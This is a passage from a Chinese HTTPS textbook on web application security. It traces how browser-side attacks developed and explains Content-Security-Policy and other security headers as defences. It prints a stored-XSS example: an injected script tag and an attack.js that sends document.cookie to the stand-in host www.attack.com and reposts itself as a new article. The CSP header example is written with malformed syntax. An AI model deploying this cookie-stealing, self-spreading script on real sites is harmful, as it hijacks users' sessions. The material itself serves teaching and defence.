深入浅出 HTTPS:从原理到实战
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.5 Web应用安全

这个领域知识点非常多,攻击方式也非常多,本节简单介绍,让读者有个印象,表达的中心思想就是HTTP安全问题只是Web应用安全问题的一部分,就算网站支持了HTTPS, Web应用安全问题仍然很严峻。

HTTP只负责数据传输,真正的攻击对象是浏览器(用户)和服务器(数据)。HTTP响应只有在浏览器上运行才能触发更多的安全问题,如果没有浏览器这个运行环境,攻击就可能无法发起,一旦成功执行了客户端攻击,则又会进一步发送恶意请求攻击服务器。

对于客户端安全来说,重要的是要明白HTML语言和JavaScript脚本语言的运行机制。对于服务器端开发来说,首先避免编写有漏洞的程序,其次需要理解客户端的运行机制,否则很容易受到攻击。

1.5.1 浏览器、HTML和JavaScript

1)互联网早期

在Web应用早期,主要是重视服务器开发,服务器负责输出数据,而浏览器基于HTML语言渲染数据,呈现出页面即可,没有太多的其他操作,HTML标签和HTML元素也很少,主要是文字和图片等。在这种形式下,主要的攻击就是构建一条不规范的HTTP请求,如果开发者编写的应用程序不严谨,则可能会触发SQL注入等攻击,从而破坏服务器存储的数据。

2)互联网中期

接着,为了更好地呈现或者控制Web页面,HTML标准扩展了很多标签,比如<input type="file">标签,可以允许用户上传本地的文件至服务器。浏览器提供了很多的内置对象,比如XMLHTTPRequest,这些对象通过JavaScript语言来控制。

脚本语言的广泛使用,导致了重客户端的开发,服务器逐渐演变为仅仅提供数据,大部分的逻辑操作在客户端完成,客户端的攻击模式也越来越多。

这些攻击的根本原因就在于触发了恶意脚本,导致客户端自动执行一些攻击,攻击可以针对客户端本身,也可以直接攻击服务器,攻击还可以进行复制。

这里以常见的XSS攻击方式进行说明,XSS就是利用应用程序的漏洞,诱使用户触发恶意代码,从而自动发送恶意的HTTP请求至服务器,造成自动攻击。

通过一个博客系统来描述XSS攻击:

◎攻击者发现一个博客系统存在漏洞,发表文章的时候,服务器没有转义或者过滤数据。

◎攻击者用账号登录博客系统,打开文章编辑器,输入正常的内容,但是在文章末尾加入一段恶意代码(<script type='text/javascript'src='http://www.attack.com/attack.js'></script>)。

◎由于服务器没有任何的校验机制,所以正常生成了一篇文章,比如http://www.example.com/article.html

◎攻击者将这篇文章的地址发送到各大论坛,或者将文章地址用邮件发送给其他人。

◎不明真相的人一旦打开这篇文章,浏览器就会下载并置执行attack.js文件,由于该文件包含了恶意代码,就可以进行攻击。

attack.js攻击代码如下:

        <script type="text/javascript">
        $(function(){
            var cookie = encodeURIComponent(document.cookie)

            $('<img src="http://www.attack.com/attack.php? cookie='+ cookie +'">').
    appendTo($(document.body))

            var content = "<scr"+"ipt type='text/javascript' src='http://www.attack.
    com/attack.js'></scr"+"ipt>"
            $.post("http://www.example.com/sendArticle.php", {content:content},
    function(result){});

        })
        </script>

这段代码中会产生两个攻击:

◎将用户www.example.com主机下的所有Cookie信息发送给攻击者。

◎自动以正常用户的身份生成一篇文章,而这篇文章包含同样的攻击代码。

3)目前的互联网

目前互联网更关注移动互联网,尤其是手机设备,为了更好地支持移动设备并提升性能,提出了HTML5标准,HTML5标准是下一代HTML标准。HTML5支持了更多的功能,比如说地理位置、照相机,而这些功能是手机设备本身具备的。对于开发者来说,由于拥有了更多的设备控制能力,会进一步导致安全问题,比如在HTML旧标准中,客户端JavaScript最多获取设备上的Cookie,不能获取设备的其他信息,而在HTML5中,客户端还能获取手机照片库信息,一旦应用实现出现问题,会暴露设备上更多的隐私信息,所以浏览器在实现HTML5标准的时候,会有很多的安全策略,这些标准是由W3C指定的。

1.5.2 W3C

为了解决安全和标准问题,开发人员想了很多办法,比如1.5.1书中介绍的XSS攻击,开发人员可以对请求数据进行转义,但是这些办法不具备普适性,依赖于开发人员的编码能力,那么有没有一种标准的方法来缓解安全问题呢?W3C在这方面做了很多的努力。

Tim Berners-Lee教授提出Web技术后成立了W3C组织,W3C主要制定Web技术的标准,比如HTML标准、DOM标准、CSS标准、ECMAScript标准,而实现这些标准主要由浏览器厂商或者服务器厂商完成。如果没有严格遵守标准,会产生很多兼容和安全问题。

在互联网早期,W3C没有过多考虑安全问题,而目前W3C有了更多的安全标准,尤其在制定HTML5标准的时候,充分考虑了安全问题。

W3C主要以HTTP头部的方式提供安全保护,比如Access-Control-Allow-Origin、X-XSS-Protection、Strict-Transport-Security、Content-Security-Policy HTTP头部,一旦开发者和浏览器正确地遵守安全标准,就能缓解安全问题。

比如1.5.1中的XSS攻击,主要原因就在于浏览器执行了一个外部JavaScript脚本,如果浏览器按照策略不加载外部脚本,攻击就无从谈起了。比如服务器输出下面的Content-Security-Policy头信息,等于告诉浏览器只允许加载www.example.com本域下的脚本文件,就能避免XSS攻击。

        Content-Security-Policy:  default-src:  'self';  script-src:  http://www.
    example.com;

这里也只是抛砖引玉,所举例子也很简单,对于整个Web应用来说,安全问题是复杂的,本书主要从HTTPS的角度去理解Web安全问题。